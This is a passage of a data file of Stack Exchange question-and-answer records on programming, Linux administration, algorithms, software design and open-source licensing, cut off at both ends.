don't know if it's one that has a name.As an example, consider $R = \\{1, 2, 3, 4, 5\\}$ and $S = \\{S_1, \\ldots, S_9\\}$, where$S_1 = \\{1, 2, 3\\} \\, , \\enspace S_4 = \\{1, 4, 5\\} \\, , \\enspace S_7 = \\{1, 2, 3, 4\\} \\, ,$$S_2 = \\{1, 2, 4\\} \\, , \\enspace S_5 = \\{2, 3, 5\\} \\, , \\enspace S_8 = \\{1, 3, 4, 5\\} \\, ,$$S_3 = \\{1, 2, 5\\} \\, , \\enspace S_6 = \\{3, 4, 5\\} \\, , \\enspace S_9 = \\{2, 3, 4, 5\\} \\, .$Here, the solutions are $T = \\{\\{1, 3\\}, \\{1, 5\\}, \\{2, 4\\}, \\{2, 5\\}\\}$. (I'd be happy even if I knew just one of them.)Note that I'm not asking for an algorithm to solve the problem. I just want to know where this is or reduces to a well-known problem." , "title": "Is this a well-known NP-hard problem?" , "tags": "algorithms;complexity theory;optimization;np complete;reductions" , "accepted_answer": "3-Hitting Set problem is known in parameterized complexity theory. The requirement $\\cup S_i=R$ can always be assumed without loss of generality. See e.g. An efficient fixed-parameter algorithm for 3-Hitting Set. According to this link it is NP-hard in its usual (not parameterized) form. Proving NP-completeness of your problem we give reduction FROM 3-Hitting Set to your problem not vica versa. Therefore your problem is NP-complete (in its decision form)." } { "id": "_unix.352635" , "question": "Building a server on minimal boot storage borrowing idea #3 removing any kernel modules not needed to run your system (from /usr/lib/modules/...) from How do I minimize disk space usage, I have removed a bunch of kernel drivers rand added those paths as NoExtract rules in pacman.conf.After that mkinitcpio displays error messages like:cp: cannot stat '/lib/modules/4.10.3-1-ARCH/kernel/drivers/cdrom/cdrom.ko.gz': No such file or directorygzip: /tmp/mkinitcpio.SAJmKZ/root/lib/modules/4.10.3-1-ARCH/kernel/cdrom.ko.gz: No such file or directoryI think I can fix by running depmod.Now the mkinitcpio error messages have become:==> ERROR: module not found: `cdrom'How to nicely fix/hide these mkinitcpio ERROR: module not found: like messages too?Note: adding the kernel modules again is not an option." , "title": "After removing kernel modules and running depmod, how to fix mkinitcpio ERROR: module not found:?" , "tags": "arch linux;kernel modules;mkinitcpio" } { "id": "_unix.352664" , "question": "I have my DHCP server which I specifically set the ip range to be between: 10.53.70.100 -- 10.53.70.200 but there are sometimes I get IPs outside from this range. For example, the last server I created got the IP 10.53.70.245, so I just wanted to know why my ip range setting is not working.Just to note I'm using dnsmasq instead of dhcpd service for this. Heres the log from the DHCP server:Mar 20 10:32:46 dhcp dnsmasq-dhcp[7657]: 1927259932 available DHCP range: 10.53.70.100 -- 10.53.70.200Mar 20 10:32:46 dhcp dnsmasq-dhcp[7657]: 1927259932 client provides name: dnstestMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 DHCPDISCOVER(ens192) 10.53.70.245 00:50:56:8f:d4:6fMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 tags: ens192Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 DHCPOFFER(ens192) 10.53.70.177 00:50:56:8f:d4:6fMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 requested options: 1:netmask, 28:broadcast, 2:time-offset, 121:classless-static-route,Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 requested options: 15:domain-name, 6:dns-server, 12:hostname,Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 requested options: 40:nis-domain, 41:nis-server, 42:ntp-server,Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 requested options: 26:mtu, 119:domain-search, 3:router, 121:classless-static-route,Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 requested options: 249, 33:static-route, 252, 42:ntp-serverMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 next server: 10.53.70.5Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size: 1 option: 53 message-type 2Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size: 4 option: 54 server-identifier 10.53.70.5Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size: 4 option: 51 lease-time 12hMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size: 4 option: 58 T1 6hMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size: 4 option: 59 T2 10h30mMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size: 4 option: 1 netmask 255.255.255.0Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size: 4 option: 28 broadcast 10.53.70.255Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size: 4 option: 6 dns-server 10.53.70.5Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size: 9 option: 15 domain-name example.ioMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size: 4 option: 3 router 10.53.70.1Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 available DHCP range: 10.53.70.100 -- 10.53.70.200Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 client provides name: dnstestMar 20 10:32:52 dhcp dnsmasq-dhcp[7657]: 2099714365 available DHCP range: 10.53.70.100 -- 10.53.70.200Mar 20 10:32:52 dhcp dnsmasq-dhcp[7657]: 2099714365 client provides name: dnstestAs you can see there's the line where it says:DHCPOFFER(ens192) 10.53.70.177 00:50:56:8f:d4:6fWhich it will be a correct Ip since it's inside of the range. However I see the line where it says:DHCPDISCOVER(ens192) 10.53.70.245 00:50:56:8f:d4:6fSo, at the end the server takes this IP ending in .245, so my question is why it takes an IP that's outside of the allowed range?Thanks. " , "title": "dnsmasq DHCP server is not selecting IPs inside of the specified range after being offered the right ones" , "tags": "ip;dhcp;dnsmasq" } { "id": "_unix.345788" , "question": "I need to sum numbers like this Input 1 5 6 8 9 11Output 1 6 12 20 29 40That is:1 1+5 1+5+6 1+5+6+8 1+5+6+8+9 1+5+6+8+9+11" , "title": "Create a running total of a list of numbers in awk?" , "tags": "awk" , "accepted_answer": "In awk:{ for (i = 1; i <= NF; ++i) { printf(%d , s += $i); } printf(\\n);}The loop goes over all input fields and prints the running total (s) of the numbers. The variable s doesn't need to be initialized as its value will taken as zero on the first iteration. The result of the assignment to s is the value of s, which is then printed with a trailing space character.With the example input:$ echo 1 5 6 8 9 11 | awk -f script.awk1 6 12 20 29 40" } { "id": "_softwareengineering.199367" , "question": "This seems to happen every time I create any sort of GUI. I have trouble figuring out how child classes should communicate to their siblings.It's a general problem, but it's probably easier to use a concrete example (hopefully that's still okay for this forum? I know it's different from StackOverflow): I have a window that contains 4 panels. Right now, I simply have the children as member objects of the parent.Keypresses change all 4 panels, so I have the child objects throw the event back to their parent, which does the logic, then makes the appropriate calls for each panel.However, mouse events are different. They change the position of a camera (owned by the parent), which every panel uses to render itself. So I must recompute a few matrices, in order to render each panel. The matrices are different for each panel. The problem I'm having is: when do I give the children the matrices?I think I have three possibilities:When reading a mouse event, compute the matrices and call setter methods for each panel. However, sometimes the matrix will be replaced before the window renders.Give the child panel a reference to the parent, and during the render call, request the matrix from the parent (either by method or member variable).Modify child.render() so that it accepts two matrix parameters, and make parent.render() call them appropriately.#2 seems good, because I'm not unnecessarily setting the matrix in the child window. But it also requires me to mess with forward declarations for member objects, which seems like bad practice. And #3 I'm not quite sure how to implement, because render is called by many things other than my code (un-minimizing, for example), and I can't touch them. So I suppose it is #1?Is there a design pattern people usually follow for this? Am I just overthinking, and #1 is actually completely OK?" , "title": "What should the relation between parent and child GUI components be?" , "tags": "design patterns;gui" , "accepted_answer": "If I got your right, during the render call, the child needs a service which provides some matrixes, right? It does not really matter that it is the parent which provides that matrixes. So create an interface like IMatrixProvider, give a reference to an object of type IMatrixProvider during construction time to your panels and call that service when you need it within the rendermethod. Your parent object can implement that interface, if the matrixes are provided from there.If you use a functional language or a language with functional elements, you may not even need a full interface object, a simpler call back or delegate function may be enough.This is mostly what you described under #2, but not with a reference to the full parent object - so the panels stay decoupled from the parent type." } { "id": "_codereview.138083" , "question": "This program starts with initial balance and the individual book balances which must match the initial balance to proceed. The user then enters the selections for the day along with stake, odds etc., then the program calculates the new balance with the new book balances.def main(): def balances(msg): while True: try: x = float(raw_input(msg)) return x except ValueError: printThat's not a number continue while True: balance = balances('Balance:') print bfair_balance = balances('bfair:') wh_balance = balances('wh:') freds_balance = balances('freds:') sky_balance = balances('sky:') pp_balance = balances('pp:') balance_sum = pp_balance + bfair_balance + sky_balance + freds_balance + wh_balance if balance == balance_sum: # balance is correct -> stop the loop break else: print Balances do not match print print Balance: %s %balance print Bfair: %d, Sky: %d, pp: %d, freds: %d, wh: %d %(bfair_balance, sky_balance, pp_balance, freds_balance, wh_balance) books = [bfair_balance, wh_balance, sky_balance,freds_balance,pp_balance] #print books print inputs = [] new_books = [] def looks_good(inputs): for i in inputs: print i while True: add_selection =raw_input(Would you like to add a selection? ) if add_selection == Yes: print selection = raw_input('Horse: ') stake = float(raw_input('Stake: ')) while stake <=0: print Please enter a stake greater than 0 stake = float(raw_input('Stake: ')) while stake > bfair_balance: print You do not have sufficient funds stake = float(raw_input('Stake: ')) while stake > pp_balance: print You do not have sufficient funds stake = float(raw_input('Stake: ')) while stake > freds_balance: print You do not have sufficient funds stake = float(raw_input('Stake: ')) while stake > sky_balance: print You do not have sufficient funds stake = float(raw_input('Stake: ')) while stake > wh_balance: print You do not have sufficient funds stake = float(raw_input('Stake: ')) odds = float(raw_input('Odds: ')) while odds <=0: print Please enter odds greater than 0 odds = float(raw_input('Odds: ')) result = (raw_input('Result: ')) if result == Win: result = stake * odds print Returns:%d%result elif result == Lose: result = 0 * odds print Returns:%d%result book = raw_input('Book: ') while book not in['bfair','sky','wh','freds','pp']: print That's not valid book = raw_input('Book: ') if result == 0 and book == bfair: bfair_balance = bfair_balance - stake new_books.append(bfair_balance) elif result == (stake * odds) and book == bfair: bfair_balance = bfair_balance - stake + (stake * odds) new_books.append(bfair_balance) if result == 0 and book == freds: freds_balance = freds_balance - stake new_books.append(freds_balance) elif result == (stake * odds) and book == freds: freds_balance = freds_balance - stake + (stake * odds) new_books.append(freds_balance) if result == 0 and book == pp: pp_balance = pp_balance - stake new_books.append(pp_balance) elif result == (stake * odds) and book == pp: pp_balance = pp_balance - stake + (stake * odds) new_books.append(pp_balance) if result == 0 and book == wh: wh_balance = wh_balance - stake print wh_balance - stake new_books.append(wh_balance) elif result == (stake * odds) and book == wh: wh_balance = wh_balance - stake + (stake * odds) new_books.append(wh_balance) if result == 0 and book == sky: sky_balance = sky_balance - stake new_books.append(sky_balance) elif result == (stake * odds) and book == sky: sky_balance = sky_balance - stake + (stake * odds) new_books.append(sky_balance) my_list=[selection,stake,odds,result,book] inputs.append(my_list) print total_stake=[] for my_list in inputs: total_stake.append(my_list[1]) print Total Stake: %d %sum(total_stake) total_winnings = [] for my_list in inputs: total_winnings.append(my_list[3]) print Total Winnings: %d %sum(total_winnings) print new_balance = balance - sum(total_stake) + sum(total_winnings) print New Balance:%d %new_balance print Bfair: %d, Sky: %d, pp: %d, freds: %d, wh: %d %(bfair_balance, sky_balance, pp_balance, freds_balance, wh_balance) print elif add_selection == No: break looks_good(inputs) import os os.system(pause)if __name__ == '__main__': main()" , "title": "Calculate total profit/loss" , "tags": "python;finance" , "accepted_answer": "Use loops to avoid repetitionFor example you have:while stake > bfair_balance: print You do not have sufficient funds stake = float(raw_input('Stake: '))# many very similar blocksYou should use a loop to avoid repetition:for balance in [bfair_balance, ...]: while stake > balance: print You do not have sufficient funds stake = float(raw_input('Stake: '))" } { "id": "_softwareengineering.161861" , "question": "Google's Dart language is not supported by any Web Browsers other than a special build of Chromium known as Dartium. To use Dart for production code you need to run it through a Dart->JavaScript compiler/translator and then use the outputted JavaScript in your web application.Because JavaScript is an interpreted language everyone who receives the binary(Aka, the .js file) has also received the source code.Now, the GNU General Public License v3.0 states that:The source code for a work means the preferred form of the work for making modifications to it.Which would imply that the original Dart code in addition to the JavaScript code must also be provided to the end user. Does this mean that any web applications written in Dart must also provide the original Dart code to all visitors of their website even though a copy of the source code has already been provided in a human readable/writable/modifiable form?" , "title": "How does the GPL work in regards to languages like Dart which compile to other languages?" , "tags": "javascript;licensing;web applications;gpl;dart" } { "id": "_codereview.106598" , "question": "Please review the codepackage com.gmail.practice;import java.util.Arrays;public class StacksForTwo { int size; int[] stack; int top1; int top2; public StacksForTwo(int arraysize) { size = arraysize; stack = new int[size]; top1 = -1; top2 = size; } public void push1(int x) { if(top1 < top2-1) { top1++; stack[top1] = x; }else{ System.out.println(stackoverflow); } } public void push2(int y) { if(top1 < top2-1) { top2--; stack[top2] = y; }else{ System.out.println(stack overflow); } } public void pop1() { if(top1 >= 0) { top1--; System.out.println(The popped out number is+ +stack[top1+1]); }else{ System.out.println(stack underflow); } } public void pop2() { if(top2 < size) { top2++; System.out.println(The popped out number is+ +stack[top2+1]); }else{ System.out.println(stack underflow); } } public void display() { System.out.println(Arrays.toString(stack)); } public static void main(String[] args) { StacksForTwo sft = new StacksForTwo(10); sft.push1(4); sft.push1(5); sft.push1(3); sft.push1(2); sft.push2(6); sft.push2(4); sft.display(); sft.push2(8); sft.push1(2); sft.push2(6); sft.push2(4); sft.push2(8); sft.display(); }}" , "title": "Implementing two stacks using single array in java" , "tags": "java;array;stack" } { "id": "_softwareengineering.315857" , "question": "I'm in the process of redesigning a portion of my ASP.NET MVC application. I'm currently using Entity Framework 6.1 code first approach.I've been reading as of late that (Correct me if I'm wrong, I don't know much about DBs): Joins are expensive; we should keep our database normalized and with the least queries executed as possible. Entity Framework does a join each time we virtual a property and try to retrieve it (Eager/Lazy Loading). We should avoid an Entity-Attribute-Value approach (EAV), unless denormalization becomes desirable (Correct me). Code First approach allows us to write the DB schema using C# OOP code (POCO). Which means that we should adhere to OOP's SOLID Principles (Correct me). The first one is Single Responsibility, which means a class should do only one thing (again, correct me if I'm wrong). Now here comes the problem (this is the first time it happens to me). I have a class with around 30 properties. Before thinking in anti-EAV, I went and separated the model accordingly: As you can see I have many virtual properties without the List<> type, this means that it is a one-to-one relationship. I have read in a previous stack-overflow post that a good rule of thumb is that one-to-one relationships should be avoided in favor of having them in a same table. That is, of course, if that one-to-one is not called from other tables. We prevent EAV and therefore, Joins. Following SOLID principles, I have extracted some properties to external classes. They will get their own table. So, the question will be, should I favor a fully normalized design over a OOP Approach when modeling in Entity Framework? " , "title": "Entity Framework Code First, C# class separation and EAV" , "tags": "database design;entity framework;codefirst;poco" , "accepted_answer": "(Late to the party, but I couldn't resist)Let's straighten out some misconceptions.Joins are expensiveAs compared to what? Of course, reading one flat table is cheaper than joining tables, but any mature RDBMS is highly optimized for executing joins because they are inevitably part of sound database designs. Joins over foreign key constraints (the most common ones) are especially optimized. And of course, proper indexing is indispensable.we should keep our database normalized and with the least queries executed as possibleThe way you pose this, it seems to be a consequence of preventing these expensive joins. The reverse is true. Normalization will always result in more tables and, hence, more joins to query the same data as from a denormalized data schema. (Well, to be fair to you, later on you say We prevent EAV and therefore, Joins.).We should avoid an Entity-Attribute-Value approach (EAV), unless denormalization becomes desirableEAV is all but denormalization. I'm under the impression that you don't fully understand what EAV is.In an EAV design, attributes of a relation (aka fields, or columns, of a database table) are taken out of a relation and stored as records in an Attributes tables. The values are stored in yet another table that has foreign keys to the Attributes table and an Entity table. A record in the Attributes tables expresses one fact: this is value X of attribute Y in entity Z.So with EAV, when applied rigorously, if you want to know the start date, end date, and cost of a tournament, you'll have to query the PGTournament table and join to Attribute and Value (with a WHERE condition for the attributes). That's two joins instead of zero without EAV!Nearly always, EAV is bad design. It's to be used when there's no alternative (for instance in lab applications where new analyses for samples can be invented every day -- a fixed set of fields in a Sample table won't suffice).In your case, I don't see any reason to introduce EAV -- I don't even understand why you bring it up. I think it is because you confuse EAV with 1:1 associations. Read on.Which means that we should adhere to OOP's SOLID PrinciplesThe EF class model is part of a data access layer. It's not a domain model! At least, it's not its first responsibility to be that. The class properties should facilitate data access. That means that there will be bidirectional relationships and Id properties, to mention two OOP anti-patterns. And the real OOP bummer: the classes tend to be highly anemic. Whenever the EF classes can be used as domain classes, this is a mere bonus.virtual properties without the List<> typeSuch properties are known as navigation properties because the navigate to other entities. Lists are collection navigation properties and entity-type properties (without the List<> type) are reference navigation properties. They don't have to be virtual. When they're virtual, EF may be able to lazily load the properties.this means that it is a one-to-one relationshipWhy? Reference navigation properties are often the 1 part of a 1:n association. I think most of your reference properties are like that. For example, GameGenre. I think there are many tournaments having the same GameGenre. It's a 1 (genre) to n (tournament) association, even if GameGenre doesn't have a Tournaments collection. Maybe only TournamentSettings and MainImage are actual 1:1 associations.1:1 Associations distribute data belonging to one entity over multiple tables. There can be very good reasons to do that. One of them is to facilitate querying light-weight data without the heavy payload of some blob, like MainImage. Another one is separating sensitive data from public data. Or common data (often queried) from specialized data (queried sometimes), maybe your TournamentSettings.Now, finally, your question:should I favor a fully normalized design over a OOP Approach when modeling in Entity Framework?You're comparing apples and oranges. Normalized design is database, OOP is class model. But if there is anything to favor, it's normalized design. A well-wrought database design is pivotal to any data-based application. Everything else follows. The EF class model will necessarily closely reflect the database structure. As I said above: it must be seen as a data access layer.But whenever you model business logic, of course, try to do it as SOLID as possible. That means that sometimes you'll have to populate a specialized domain model out of the entities queried by EF, and sometimes the EF classes can be extended to encapsulate behavior and data (which is what OOP is all about)." } { "id": "_unix.80192" , "question": "I am using tcpdump to log traffic outbound on a network. I would like to be able to log traffic on a host or IP-only basis but then I would like to be able to log large numbers of potentially blacklisted IPs. I have read about tcpdump -F in the man page that explains that I can load tcpdump configuration from a file, however, I cannot seem to find much in the way of documentation of how to structure this file or how to load large numbers of IPs into the filtering as I constantly get syntax errors. How would I easily implement IP address lists with tcpdump? " , "title": "Using tcpdump to log blacklisted IPs" , "tags": "linux;scripting;tcpdump" } { "id": "_webmaster.18487" , "question": "We're in development of a website and we're looking into other options than just developing a chat engine ourselves.We've looked at CometChat and ArrowChat. Which look and seem to be great except that it uses PHP/MySQL. They offer to host your chat server which can handle 100,000+ but honestly we'd like to be hosting it on our own servers and handle way more than that.Know of any alternatives? We're looking for that Meebo/Facebook/CometChat/ArrowChat look and style but it needs to be fully customizable." , "title": "Is there a high-load chat software / script out there?" , "tags": "php;looking for a script;mysql;chat" } { "id": "_codereview.20792" , "question": "I'm new to RSpec and testing in general. I've come up with a spec for testing my Content model and I need some feedback because I think there are many improvements that can be done. I don't know if the way I did it is considered over-testing, bloated/wrong code or something. This test is kinda slow but this doesn't bother me that much for now.app/models/content.rbclass Content < ActiveRecord::Base extend FriendlyId friendly_id :title, use: [ :slugged, :history ] acts_as_mediumable delegate :title, to: :category, prefix: true # Associations belongs_to :category has_many :slides, dependent: :destroy # Accessible attributes attr_accessible :title, :summary, :body, :category_id, :seo_description, :seo_keywords, :seo_title, :unpublished_at, :published_at, :is_draft # Validations validates :title, presence: true validates :body, presence: true validates :category, presence: true validates :published_at, timeliness: { allow_nil: false, allow_blank: false } validates :unpublished_at, timeliness: { allow_nil: true, allow_blank: true, after: :published_at }, :if => published_at.present? scope :published, lambda { |*args| now = ( args.first || Time.zone.now ) where(is_draft: false). where((published_at <= ? AND unpublished_at IS NULL) OR (published_at <= ? AND ? <= unpublished_at), now, now, now). order(published_at DESC) } def self.blog_posts joins(:category).where(categories: { acts_as_blog: true }) end def self.latest_post blog_posts.published.first end def to_s title end def seo meta = Struct.new(:title, :keywords, :description).new meta.title = seo_title.presence || title.presence meta.description = seo_description.presence || summary.presence meta endendspec/models/content_spec.rbrequire 'spec_helper'describe Content do it has a valid factory do create(:content).should be_valid end it is invalid without a title do build(:content, title: nil).should_not be_valid end it is invalid without a body do build(:content, body: nil).should_not be_valid end it is invalid without a category do build(:content, category: nil).should_not be_valid end it is invalid when publication date is nil do build(:content, published_at: nil).should_not be_valid end it is invalid when publication date is blank do build(:content, published_at: ).should_not be_valid end it is invalid when publication date is malformed do build(:content, published_at: !0$2-as-#{nil}).should_not be_valid end # TODO: You shall not pass! (for now) # it is invalid when expiration date is malformed do # build(:content, unpublished_at: !0$2-as-#{nil}).should_not be_valid # end it is invalid when publication date is nil and expiration date is set do build(:content, published_at: nil, unpublished_at: 3.weeks.ago).should_not be_valid end it is invalid when expiration date is before publication date do build(:content, published_at: 1.week.ago, unpublished_at: 2.weeks.ago).should_not be_valid end it returns a content's title as a string do content = create(:content) content.to_s.should eq content.title end describe filters by publication dates do before :each do @published_three_weeks_ago = create(:published_three_weeks_ago_content) @expiring_in_two_weeks = create(:expiring_in_two_weeks_content) @publish_in_tree_weeks = create(:publish_in_tree_weeks_content) end context with matching dates do it returns a sorted array of results that match for current time do Content.published.should include @published_three_weeks_ago, @expiring_in_two_weeks end it returns a sorted array of results that match for future time do Content.published(3.weeks.from_now).should include @published_three_weeks_ago, @publish_in_tree_weeks end end context without matching dates do it returns an empty array do Content.published(2.months.ago).should eq [ ] end end end describe filters contents by blog category do before :each do @blog_category = create(:blog_category) end context with matching contents do it returns only blog posts do one_page = create(:content) another_page = create(:content) first_post = create(:content, category: @blog_category) second_post = create(:content, category: @blog_category) Content.blog_posts.should include first_post, second_post end end context without matching contents do it returns an empty array do one_page = create(:content) another_page = create(:content) Content.blog_posts.should eq [ ] end end end describe retrieves latest post do before :each do @blog_category = create(:blog_category) end context with existing posts do it return the latest content that belongs to a blog category do first_post = create(:published_three_weeks_ago_content, category: @blog_category) second_post = create(:content, published_at: Time.zone.now, category: @blog_category) Content.latest_post.should eq second_post end end context without existing posts do it returns an nil object do Content.latest_post.should eq nil end end end describe uses seo attributes when present do before :each do @it = create(:content) end context seo title present do it returns seo title when present do @it.seo.title.should eq @it.seo_title end end context seo title non present do it returns title when seo title is blank do @it.seo_title = @it.seo.title.should eq @it.title end it returns title when seo title is nil do @it.seo_title = nil @it.seo.title.should eq @it.title end end context seo description present do it returns seo description when present do @it.seo.description.should eq @it.seo_description end end context seo description non present do it returns description when seo description is blank do @it.seo_description = @it.seo.description.should eq @it.summary end it returns description when seo description is nil do @it.seo_description = nil @it.seo.description.should eq @it.summary end end endendspec/factories/contents.rbFactoryGirl.define do factory :content do association :category title { Faker::Lorem.sentence } summary { Faker::Lorem.sentence(10) } body { Faker::Lorem.sentence(15) } seo_title { Faker::Lorem.sentence } seo_description { Faker::Lorem.sentence } seo_keywords { Faker::Lorem.words(8).join(, ) } published_at { Time.zone.now } is_draft { false } factory :published_three_weeks_ago_content do published_at { 3.weeks.ago } end factory :expiring_in_two_weeks_content do unpublished_at { 2.weeks.from_now } end factory :publish_in_tree_weeks_content do published_at { 3.weeks.from_now } end endend" , "title": "Testing a Content model" , "tags": "ruby;ruby on rails;rspec" , "accepted_answer": "Nice job. Your tests are nicely compartmentalized. It is indeed good to test the factory independently. Good use of describe and context.Consider using the shoulda-matchers gemTests for many of the rails model associations and validations can be handled by the shoulda-matchers gem. For example, this line:validates :title, presence: truecan be tested like so:it {should validate_presence_of(:title)}Consider using pendingHere's a commented-out test:# TODO: You shall not pass! (for now)# it is invalid when expiration date is malformed do# build(:content, unpublished_at: !0$2-as-#{nil}).should_not be_valid# endRspec has a method for documenting tests that don't (and can't yet be made to) pass:it is invalid when expiration date is malformed do pending build(:content, unpublished_at: !0$2-as-#{nil}).should_not be_validendThe nice thing about pending is that it shows up in the test output, making it less easily forgotten than commented-out code. Also, you can give a reason, e.g.:pending Can't pass until the vendor fixes library xyzFor clarity, Consider redoing things the factory didThis test:context seo description present do it returns seo description when present do @it.seo.description.should eq @it.seo_description endendRelies upon the factory having having set the description, but the factory is a long way from the test. This would be clearer if explicit:context seo description present do it returns seo description when present do @it.seo_description = 'foo bar baz' @it.seo.description.should eq @it.seo_description endendConsider using subjectSome of your test sets a variable in a before block and later tests that variable:before :each do @it = create(:content) endcontext seo title present do it returns seo title when present do @it.seo.title.should eq @it.seo_title endendInstead of assigning to a variable, rspec lets you declare a subject:subject {create(:content)}Once you've declared a subject, some snazzy syntax becomes available to you:its('seo.title') {should == subject.title}subject.seo_title is a little awkward, so rspec lets you name your subject:subject(:content) {create(:content)}its('seo.title') {should == content.title}Consider using let along with subjectIn rspec, let defines a memoized, lazily-evaluated value. When used with subject, this can DRY up a spec:describe seo.title do let(:title) {'title'} subject {create :content, :title => title, :seo_title => seo_title} context 'seo title present' do let(:seo_title) {'seo title'} its('seo.title') {should eq seo_title} end context 'seo title missing' do let(:seo_title) {nil} its('seo.title') {should eq title} endend" } { "id": "_scicomp.2414" , "question": "As motivation, consider a function which is smooth and continuous but for some reason it is very expensive to perform routine calculations of finding the Laplacian on it (maybe because it is over a large domain, etc.).Given an original function, say, in one dimension, is it possible to estimate (or slightly overestimate) the maximum absolute value (i.e., the magnitude) of the Laplacian of that function anywhere over its given domain (without actually computing the Laplacian at all points and just finding the maximum)?To start discussion, perhaps this can be done my taking a subset of points along the known function and using them as a basis for the estimate." , "title": "Estimating the maximum absolute value (magnitude) of the Laplacian for a given function?" , "tags": "numerics;algorithms" } { "id": "_softwareengineering.304959" , "question": "I've started my own open source project, which is still in an early phase of development. I chose to use the MIT license for it. However, I've read that the Apache license is better for large projects, and it's going to become a large project later. So, I plan to study the Apache license later, and consider it for my project when the project becomes stable.Could transitioning from the MIT to the Apache license create any legal issues? Does a late transition involve any more risks?Disclaimer: I'm a programmer, not a lawyer." , "title": "Could there by any issues with transition from MIT to Apache License?" , "tags": "licensing;mit license;apache license" , "accepted_answer": "The owner, or copyright holder of the project is the one who gets to decide what license to use on each distribution of that project. The owner is completely free to use different licenses on different distributions.The tricky points to keep in mind are:1) If others contribute to the project, then you are no longer the sole owner, so changing the license would have to involve getting multiple people together to agree on it. If you're going the typical open source route of allowing pull requests from pretty much anyone, this can be a problem.2) The copies of the project that you have already distributed cannot have their licenses retroactively changed. The change can only apply to new distributions. In particular, anyone who has received old copies of the project under MIT is perfectly free to distribute copies of their copy under any license they please (since the MIT license imposes no restrictions on this behavior).3) Some people have strong opinions on licensing issues, and some people get understandably nervous when licenses change. So if you do have a non-trivial user base when you make this change, then you should post a very clear and specific explanation of why you want to make this change, solely for PR reasons. In particular, at the risk of taking your question too literally, you should have a more specific reason than because Apache is better for big projects and we are big now.Note that I am using the term distribution instead of version because it is fairly commonplace to release the same version of a program under multiple licenses, for various reasons. For instance, you may release a program for free under a copyleft license, while at the same time allowing corporations to purchase a version with a more permissive or closed source license. The version the corporations purchase would simply have different LICENSE, COPYRIGHT and/or README files.But in all honesty, MIT to Apache is not a huge change. It should be a perfectly harmless transition as long as you're aware of these potential issues ahead of time." } { "id": "_cseducators.3170" , "question": "I'm really looking for opinions from expertsI have been asked to teach a group of students How To Program, these students are really new to programming.What I want is to make them like programming and enjoy doing it (as I do), so which programming language should be used to teach them, in order to achieve that goal?The students are about 17 to 22 years old, and there are 25 students in the group.My background lies in 9 years of programming experience. I had used many programming languages like C++, Java, VB.NET, C#, JavaScript, PHP, Swift, Python." , "title": "Which of the following programming languages will help me better to teach the basic concepts of CS and why?" , "tags": "language choice" } { "id": "_softwareengineering.309151" , "question": "My application is a generic enterprise application which can be deployed on any application server running on any OS.I don't know how/where to configure my application, except for the database information which are stored in the application server as datasource.While it's easy to do, I could use the database as a configuration container, but... the database shouldn't contain the configuration elements: I want to be able to use any database in any environment (dev, test, acceptance, production).Does Java EE offer any kind of configuration management similar to what is offered to the datasources? If yes, what is it? If not, what is the best practice on this?I often read the following advice: put these items in a properties file on the server. Fine, but in that case the location to the properties file becomes a configuration item in itself, so where/how do I define the location of that properties file and transmit that info to my application?" , "title": "How to access environment-specific configuration in an enterprise application?" , "tags": "java;java ee;configuration" , "accepted_answer": "There are a couple options that present themselves in this case.The first, is the properties file. Its location is somewhere and typically in the class path. Typically, you will see it coupled with the getResource family of calls.Properties prop = new Properties();prop.load(this.getClass().getResourceAsStream(stuff.properties);Now, if you don't have the property file in the classpath, you could specify it in the system properties which can be accessed through the System class as described here.With the invocation of: java -Dtest=true -jar myApplication.jar the value can be extracted with: System.getProperty(test) and then used either to specify other resources or being a resource itself. While it isn't immediately visible with many application servers, its still there, somewhere. In Eclipse, you can easily see them by going to the run configuration and look at the VM arguments.Similar to the system properties, there are the environment properties accessed through System.getenv. The rest of that set of documents is a good read - The Platform Enviroment. While it speaks mostly to Java SE, nearly everything in it is still applicable and an option for Java EE (I don't think you'll be looking at Java Web Start or Java applets).Moving to the realm of the application server, we get to the names stored in the context of the application or server.InitialContext ic = new InitialContext();loc = (String) ic.lookup(java:com/env/app/location);This value is actually stored in the server configuration itself. The documentation for tomcat. Note that each app server is different and you might get some ugliness in there. The only difference between the database from JNDI and a string is the type that it presents. One is a DataSource, the other is a String." } { "id": "_softwareengineering.272506" , "question": "I have just started a new personal project (Python), and am writing what amounts to a rough draft of the program, the minimum required to do what I want to do. I am not yet putting in extensive error/exception handling or aesthetic UI elements (even in cases where I know these things will ultimately be needed), and the documentation is just enough to help future me see what I was doing.Is it against any set principles of project design/management to start so rough? I am a scientist, not a programmer, so am not up to speed on these things. So the main question is, is there a consensus on where one should aim to fall between the two extremes of:Write thorough, high-quality code from the start, with all the exceptionhandling and such that you know you will ultimately need.Write a minimally working rough draft from the start, and go in to fill in all theminutiae later.Related question: When is it OK to sacrifice the neatness of the design to get a project done?" , "title": "How much detail to put into first iteration of project?" , "tags": "design;project management;time management" , "accepted_answer": "There is no single answer, as this depends entirely on the project. We need to think about two things here. What is your eventual target? How do you expect to get there?End ResultAre you writing Mars Orbiter control software? Then you better make damn sure you are writing the most robust code possible, You better be check every exception is handled in a sane matter.Are you writing a program that only you will run, and you'll only run manually every once in a while? Then don't bother with exceptions. Don't bother with heavy 